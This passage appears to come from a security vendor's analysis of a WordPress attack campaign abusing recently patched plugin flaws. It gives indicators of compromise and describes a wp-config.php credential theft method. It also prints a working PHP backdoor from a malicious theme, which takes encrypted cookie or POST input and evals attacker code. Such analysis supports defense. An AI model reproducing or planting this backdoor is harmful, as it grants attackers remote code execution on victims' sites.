we have detected that the website shared various abnormal casino posts and we have removed it.
after checking username list, we found
| solarsalvador1234@gmail.com |
as administrador.
”
The email address solarsalvador1234@gmail.com has been previously associated with attacks against the Convert Plus plugin, where a similar vulnerability allowed attackers to register a privileged user. Google searches for this address reveal a number of compromised WordPress sites showing an associated user profile.
In addition to the Profile Builder and ThemeGrill Demo Importer vulnerabilities, the IP address associated with “solarsalvador1234” is also exploiting Duplicator’s recent file download flaw. By downloading wp-config.php files from vulnerable sites, they can use the stored credentials to access remote MySQL databases and compromise the site from there. In all three vulnerabilities, the end goal is the same: Administrative access to the victim’s WordPress site.
In the attacks we’re currently tracking, we’ve identified “solarsalvador1234” attempting to upload backdoors through the same method as “tonyredball”: the WordPress theme uploader. However, instead of uploading a single file as in our previous example, they upload a malicious archive named AdvanceImage5.zip. This ZIP archive technically contains a valid WordPress theme, having copied the index.php and style.css scripts from the Twenty Fifteen theme, required for WordPress to correctly store the extracted files. Other than those required files, the archive is purely malicious and contains backdoors intended to help the attacker maintain access long-term. The malicious theme AdvanceImage5 has previously been associated with other attack campaigns, including those targeting last year’s vulnerability in the WP Cost Estimation plugin.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<?php@ini_set("error_log", NULL);@ini_set("log_errors", 0);@ini_set("max_execution_time", 0);@set_time_limit(0);$data = NULL;$data_key = NULL;$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";global $auth;function sh_decrypt_phase($data, $key) { $out_data = ""; for ($i = 0; $i < strlen($data) { $jplufmtpaem = "i"; for ($j = 0;$j < strlen($key) && $i < strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function sh_decrypt($data, $key) { global $auth; return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key); } foreach($_COOKIE as $key => $value) { $data = $value; $data_key = $key;}if(!$data) { foreach($_POST as $key => $value) { $data = $value; $data_key = $key; }}$data = @unserialize(sh_decrypt(@base64_decode( $data ) , $data_key ));if (isset($data["ak"]) && $auth == $data["ak"]) { if ($data["a"] == "i") { $i = Array("pv" => @phpversion() , "sv" => "1.0-1" , ); echo @serialize($i); } elseif ($data["a"] == "e") { eval($data["d"]); }}?> |
The code snippet above shows the deobfuscated contents of the campaign’s primary backdoor, located in AdvanceImage5/header.php . This script features protections much like our earlier example, intended to prevent other attackers from abusing the script. Taking things a step further, an XOR cipher is used to encrypt requests sent to the backdoor, presumably in an attempt to bypass detection by firewalls and security teams. Ultimately though, the behavior is the same for “solarsalvador1234” as it is for the backdoor used by “tonyredball”, an attacker can execute PHP scripts at will on the infected site.
The activity associated with “solarsalvador1234” is linked to the IP address 77.71.115.52. We mentioned this address in our earlier post about attacks against a recent Duplicator vulnerability, noting that a number of otherwise-legitimate websites are hosted on the server. It’s not uncommon for attacks to come from compromised webservers, as they offer attackers a layer of abstraction to hide their physical location from victims.
Indicators of Compromise (IOCs)
- Usernames
- Randomly generated, starting with
comorcom_
- Randomly generated, starting with
- Email addresses
solarsalvador1234@gmail.com- Other randomly generated addresses, starting with
comorcom_and ending with@mail.com
- IP Address
77.71.115.52
- Malware Hashes (SHA-1)
47cb1646eba89f42319aa757423464476eb2fa7d3015d8f30b23eb6ebec608e992ff25ceccc6408df8ae2f3fcc05f04aece9ca0e0e21c64f25c4f0d693632169238cbb52daee5271c90c533f7614e7b1
- Malicious Filepaths
wp-content/themes/AdvanceImage5/config.phpwp-content/themes/AdvanceImage5/functions.phpwp-content/themes/AdvanceImage5/header.php
Conclusion
The campaigns we’ve detailed in this post are just two examples of attacks targeting recently patched vulnerabilities. As the owner of a site, it’s your responsibility to remain aware of the changes made to the plugins and themes you use. When a security update is released, make it an immediate priority to install it. The threat actors facing the WordPress ecosystem quickly identify and exploit vulnerabilities, which compounds the importance of timely action to protect your infrastructure.
All of the malicious code discussed in this post is detected by the Wordfence malware scanner. This is true for Premium users as well as the sites still using the free version. If you’re unable to use Wordfence and are concerned about these campaigns, please make use of the indicators of compromise (IOCs) we’ve shared to assist in your analysis.
